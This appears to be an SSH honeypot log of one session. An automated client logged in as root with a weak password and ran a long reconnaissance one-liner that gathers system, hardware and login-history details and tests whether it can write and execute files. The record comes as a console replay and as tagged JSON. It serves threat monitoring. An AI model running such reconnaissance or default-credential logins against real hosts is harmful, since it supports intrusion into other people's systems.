[obs-node]:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"

[obs-node]:~$ uname -s -v -n -m 2 > /dev/null

[obs-node]:~$ /bin/uname -s -v -n -m 2 > /dev/null

[obs-node]:~$ /usr/bin/uname -s -v -n -m 2 > /dev/null

Command not found: /usr/bin/uname -s -v -n -m

[obs-node]:~$ busybox uname -s -v -n -m 2 > /dev/null

[obs-node]:~$ ( [ -f /proc/version ]

[obs-node]:~$ [ -f /proc/version ]

[obs-node]:~$ head -1 /proc/version | cut -d -f1

[obs-node]:~$ [ -f /etc/os-release ]

Record ID: a4c27df7b1d8

Client Version: SSH-2.0-Go

Engagement Duration: 1.6s

HASSH Fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5

{
  "id": "a4c27df7b1d8",
  "src_ip": "92.118.39.49",
  "start_time": "2026-07-07T16:16:18.649647Z",
  "end_time": "2026-07-07T16:16:20.278569Z",
  "duration": "1.6",
  "version": "SSH-2.0-Go",
  "hassh": "2ec37a7cc8daf20b10e1ad6221061ca5",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "123456789"
  },
  "commands": [
    "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"",
    "uname -s -v -n -m 2 > /dev/null",
    "/bin/uname -s -v -n -m 2 > /dev/null",
    "/usr/bin/uname -s -v -n -m 2 > /dev/null",
    "busybox uname -s -v -n -m 2 > /dev/null",
    "( [ -f /proc/version ]",
    "[ -f /proc/version ]",
    "head -1 /proc/version | cut -d -f1",
    "[ -f /etc/os-release ]"
  ],
  "detailed_commands": [
    {
      "cmd": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "/bin/uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "/usr/bin/uname -s -v -n -m 2 > /dev/null",
      "failed": true,
      "error": "Command not found: /usr/bin/uname -s -v -n -m"
    },
    {
      "cmd": "busybox uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "( [ -f /proc/version ]",
      "failed": false,
      "error": null
    },
    {
      "cmd": "[ -f /proc/version ]",
      "failed": false,
      "error": null
    },
    {
      "cmd": "head -1 /proc/version | cut -d -f1",
      "failed": false,
      "error": null
    },
    {
      "cmd": "[ -f /etc/os-release ]",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "/usr/bin/uname -s -v -n -m"
  ],
  "score": 200,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}